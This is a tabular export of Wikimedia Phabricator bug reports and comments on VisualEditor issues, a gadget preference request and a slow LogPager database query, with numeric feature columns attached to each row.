257480,"VisualEditor: Trigger keys can end up in CE surface, but not in DM",Trigger issue is split to bug 56452. Re-titled.,,,1383283899,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kxbkw2kfnhnvqihjlumu,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.3333333333333335,0.9166666666666666,Trigger issue is split to bug 56452. Re-titled.
55665,VisualEditor: Table rows with no defined cells rendered as an empty line,"At https://en.wikipedia.org/w/index.php?title=Flight_endurance_record&oldid=571122193#Free_Balloon.2C_Manned the table begins with an empty row where there would normally be a header:
{|class=""wikitable""
|-
|-
|content

In view mode this empty line is not shown, but it does appear in VE.

Testing at https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox&oldid=571124234#Tables_with_empty_rows shows that the same thing happens, wherever the blank line is in the table. Oddly though the line is shown at full height when its in last position but ~half height elsewhere.

In itself this isn't a problem, it's just different to what happens in view mode where the second |- is ignored.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1378066380,1404172794.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-c6mjvz42mmi6bswdw56d,task_description,resolved,True,c1,3,False,False,False,8,,0.0,0.0,0.0,2.0,1.5,6.5,2.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.5,0.0,0.0,6.5,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,7.0,2.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,15.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,5.5,4.0,6.0,4.0,1.5,6.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,8.0,1.0,0.0,0.5,0.0,3.0,0.0,3.5,2.0,1.0,0.0,0.0,0.0,0.0,3.75,0.75,"At URL the table begins with an empty row where there would normally be a header:
{|class=""wikitable""
|-
|-
|content

In view mode this empty line is not shown, but it does appear in VE.

Testing at URL shows that the same thing happens, wherever the blank line is in the table. Oddly though the line is shown at full height when its in last position but ~half height elsewhere.

In itself this isn't a problem, it's just different to what happens in view mode where the second |- is ignored.

--------------------------
**Version**: unspecified
**Severity**: minor"
256481,VisualEditor: Table rows with no defined cells rendered as an empty line,This was fixed a while ago by the Parsoid team.,,,1404172794,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-c6mjvz42mmi6bswdw56d,task_subcomment,,True,c1,3,True,,,52,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,18.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,This was fixed a while ago by the Parsoid team.
55612,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#deprecated"" from TemplateData","

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377905520,1398901249.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4ua7w7m7aik6txmrerbe,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
253526,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#deprecated"" from TemplateData","Change 129856 merged by jenkins-bot:
Restyle parameter pages

https://gerrit.wikimedia.org/r/129856",,,1398900767,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ua7w7m7aik6txmrerbe,task_subcomment,,True,c1,3,False,,,43,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.714285714285714,1.0,"Change 129856 merged by jenkins-bot:
Restyle parameter pages

GERRIT_URL"
253521,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#deprecated"" from TemplateData","Change 129856 had a related patch set uploaded by Trevor Parscal:
Restyle parameter pages

https://gerrit.wikimedia.org/r/129856",,,1398469830,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4ua7w7m7aik6txmrerbe,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,28.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.944444444444445,1.0,"Change 129856 had a related patch set uploaded by Trevor Parscal:
Restyle parameter pages

GERRIT_URL"
55611,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#required"" from TemplateData","

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1377905340,1389902644.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-346l3sxkrxirwfv4rf4g,task_description,resolved,True,c1,3,True,False,False,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
253496,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#required"" from TemplateData",Verified the fix in test2,,,1390422254,,PHID-USER-24djtv3gj5gua2y6u2g5,True,,,PHID-TASK-346l3sxkrxirwfv4rf4g,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,Verified the fix in test2
253491,"VisualEditor: In the transclusion dialog's panel for a parameter, use ""Param#required"" from TemplateData",Done in I8f84a9ae277e5093356f591f7a56e8cebf4a1893.,,,1389902644,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-346l3sxkrxirwfv4rf4g,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,Done in I8f84a9ae277e5093356f591f7a56e8cebf4a1893.
55610,"VisualEditor: In the transclusion dialog, cursor keys can let you select parameters in the search results off the > screen and the dialog doesn’t scroll","

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1377905220,1379435340.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-3g3rbtewmym2ch553j4x,task_description,resolved,True,c1,3,True,False,True,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.5,"

--------------------------
**Version**: unspecified
**Severity**: minor"
253453,"VisualEditor: In the transclusion dialog, cursor keys can let you select parameters in the search results off the > screen and the dialog doesn’t scroll","Change 74566 merged by jenkins-bot:
Scroll into view support

https://gerrit.wikimedia.org/r/74566",,,1379434760,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-3g3rbtewmym2ch553j4x,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 74566 merged by jenkins-bot:
Scroll into view support

GERRIT_URL"
253447,"VisualEditor: In the transclusion dialog, cursor keys can let you select parameters in the search results off the > screen and the dialog doesn’t scroll","Change 74566 had a related patch set uploaded by Jforrester:
Scroll into view support

https://gerrit.wikimedia.org/r/74566",,,1378774554,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-3g3rbtewmym2ch553j4x,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.722222222222222,1.0,"Change 74566 had a related patch set uploaded by Jforrester:
Scroll into view support

GERRIT_URL"
55604,VisualEditor: Transclusion dialog improvements (tracking),"[Now tracked as #VisualEditor-MediaWiki-Templates instead.]


Fork from bug 49833, which wasn't meant to be used this way.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377900000,1416798469.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-3niuhnlezs7jfmugbwdy,task_description,resolved,True,c1,3,True,True,False,8,,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.8085106382978724,0.7659574468085106,"[Now tracked as #VisualEditor-MediaWiki-Templates instead.]


Fork from bug 49833, which wasn't meant to be used this way.

--------------------------
**Version**: unspecified
**Severity**: normal"
513029,VisualEditor: Transclusion dialog improvements (tracking),[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343622,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-3niuhnlezs7jfmugbwdy,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,4.0,1.0,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366]
55584,Add a functionality to gray out gadgets on gadgets preference tab that are dependent on other gadgets.,"Gadget checkboxes should be able to be grayed out (inaccessible) dependent on if another gadget is on or off, if other extensions exist that gadgets are unable to use, or if they require a specific skin to work.  For example, on en.wikipedia the current ""Editing"" section of the gadget tab on the preferences page looks like:
 
[[ https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(current).png | commons:File:Special_Preferences_mw-prefsection-gadgets_(current).png ]]

There should be a way to gray out functions, like:
 
[[ https://commons.wikimedia.org/wiki/File:Special_Preferences_mw-prefsection-gadgets_(proposed).png | commons:File:Special_Preferences_mw-prefsection-gadgets_(proposed).png ]]
If (in this instance) VisualEditor is enabled.",Medium,50.0,1377865740,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,False,PHID-TASK-anwdvhxvorgu42thq5we,task_description,open,True,c1,3,False,False,,8,,0.0,0.0,0.0,1.5,0.0,3.5,2.5,0.0,0.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,12.5,0.0,2.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.5,0.0,3.5,0.0,1.0,0.0,0.0,0.0,15.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,9.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.5,12.5,3.0,0.0,1.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,2.5,4.221311475409836,0.6967213114754098,"Gadget checkboxes should be able to be grayed out (inaccessible) dependent on if another gadget is on or off, if other extensions exist that gadgets are unable to use, or if they require a specific skin to work.  For example, on en.wikipedia the current ""Editing"" section of the gadget tab on the preferences page looks like:
 
[[ URL | commons:File:Special_Preferences_mw-prefsection-gadgets_(current).png ]]

There should be a way to gray out functions, like:
 
[[ URL | commons:File:Special_Preferences_mw-prefsection-gadgets_(proposed).png ]]
If (in this instance) VisualEditor is enabled."
393012,Add a functionality to gray out gadgets on gadgets preference tab that are dependent on other gadgets.,">>! In T55584#581617, @matmarex wrote:
> The BetaFeatures extension implements something similar, maybe it could be extended to work with Gadgets. But I'm not sure if it's a good idea, you could just use the dependency system to load other gadgets regardless.

Except in cases where the user doesn't want to use that other gadget.  In those cases, the dependent gadget should be greyed out and indicate they require the other component.  This lets the editor/user decide.",,,1419544542,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-anwdvhxvorgu42thq5we,task_subcomment,,True,c1,3,False,,,77,,0.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,8.0,2.0,10.0,4.0,2.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.7708333333333334,"QUOTE
QUOTE

Except in cases where the user doesn't want to use that other gadget.  In those cases, the dependent gadget should be greyed out and indicate they require the other component.  This lets the editor/user decide."
252162,Add a functionality to gray out gadgets on gadgets preference tab that are dependent on other gadgets.,"The BetaFeatures extension implements something similar, maybe it could be extended to work with Gadgets. But I'm not sure if it's a good idea, you could just use the dependency system to load other gadgets regardless.",,,1383302073,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-anwdvhxvorgu42thq5we,task_subcomment,,True,c1,3,True,,,17,,0.0,2.0,0.0,2.0,2.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,10.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,10.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.357142857142857,0.8809523809523809,"The BetaFeatures extension implements something similar, maybe it could be extended to work with Gadgets. But I'm not sure if it's a good idea, you could just use the dependency system to load other gadgets regardless."
55583,VisualEditor: histograms are duplicated while editing,"https://fr.wikipedia.org/w/index.php?title=Polisy&veaction=edit
or
https://fr.wikipedia.org/w/index.php?title=Aix-en-Othe&veaction=edit

The demographic histogram gets duplicated while VEditing, although everything will be fine again once you save, but I see this can confuse users.

Looks like it is generated, like other parts of the Démographie section, by https://fr.wikipedia.org/wiki/Mod%C3%A8le:Section_d%C3%A9mographie_d%27article_de_commune_de_France .

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1377864060,1424365332.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_description,resolved,True,c1,3,False,False,False,8,,0.0,1.0,0.0,1.0,0.0,7.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,1.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,15.0,4.0,3.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,10.0,6.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.7058823529411765,"URL
or
URL

The demographic histogram gets duplicated while VEditing, although everything will be fine again once you save, but I see this can confuse users.

Looks like it is generated, like other parts of the Démographie section, by URL .

--------------------------
**Version**: unspecified
**Severity**: normal"
414174,VisualEditor: histograms are duplicated while editing,"I don't see anything weird either on https://fr.wikipedia.org/w/index.php?title=Aix-en-Othe&veaction=edit

Closing as FIXED.",,,1424365332,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_subcomment,,True,c1,3,True,,,85,,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,"I don't see anything weird either on URL

Closing as FIXED."
404069,VisualEditor: histograms are duplicated while editing,I discovered the bug in August 2013 and it was said to be fine from November 2013 at fr.wp. It must have been fixed by chance.,,,1422480548,,PHID-USER-4cgt73x34j35pnbem65l,True,,,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_subcomment,,True,c1,3,False,,,82,,0.0,0.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,18.0,0.0,4.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,14.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,11.0,18.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.607142857142857,0.9285714285714286,I discovered the bug in August 2013 and it was said to be fine from November 2013 at fr.wp. It must have been fixed by chance.
402143,VisualEditor: histograms are duplicated while editing,Looks fine to me... Was this fixed at some point?,,,1421888433,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-sqkvabmnd7cfcbr6tkhz,task_subcomment,,True,c1,3,True,,,81,,8.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Looks fine to me... Was this fixed at some point?
55577,IndexPager::buildQueryInfo (LogPager) query needs tuning,"Have seen multiple instances of this one backing up on commonswiki slaves recently:

SELECT /* IndexPager::buildQueryInfo (LogPager) 148.160.132.46 */  log_id,log_type,log_action,log_timestamp,log_user,log_user_text,log_namespace,log_title,log_comment,log_params,log_deleted,user_id,user_name,user_editcount,ts_tags  FROM `logging` FORCE INDEX (times) LEFT JOIN `user` ON ((log_user=user_id)) LEFT JOIN `tag_summary` ON ((ts_log_id=log_id))  WHERE (log_action != 'revision') AND (log_type != 'suppress') AND log_type IN ('delete','move')  AND log_namespace = '0' AND log_title = '0' AND ((log_deleted & 1) = 0)  ORDER BY log_timestamp DESC LIMIT 11

It runs in excess of 10 minutes.

EXPLAIN says the FORCE INDEX sends MySQL onto a very slow index scan over `times` (log_timestamp) which is hardly better than a table scan in this case.

Removing the FORCE allows `page_time` index be used which reduces execution time to a few seconds.

Suggest either filtering by a range on log_timestamp or removing the FORCE.

--------------------------
**Version**: 1.23.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54122",Medium,50.0,1377856620,1396153047.0,PHID-USER-lxluxbieyr4tgfyp5jru,False,,False,PHID-TASK-5u2adzhalmhqywlvbhji,task_description,resolved,True,c1,3,False,False,False,8,,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,2.6666666666666665,0.3333333333333333,0.0,0.0,0.0,1.0,3.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,6.333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,4.0,0.6666666666666666,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,1.0,1.0,0.0,0.0,0.3333333333333333,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,15.333333333333334,0.3333333333333333,2.6666666666666665,4.333333333333333,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.6666666666666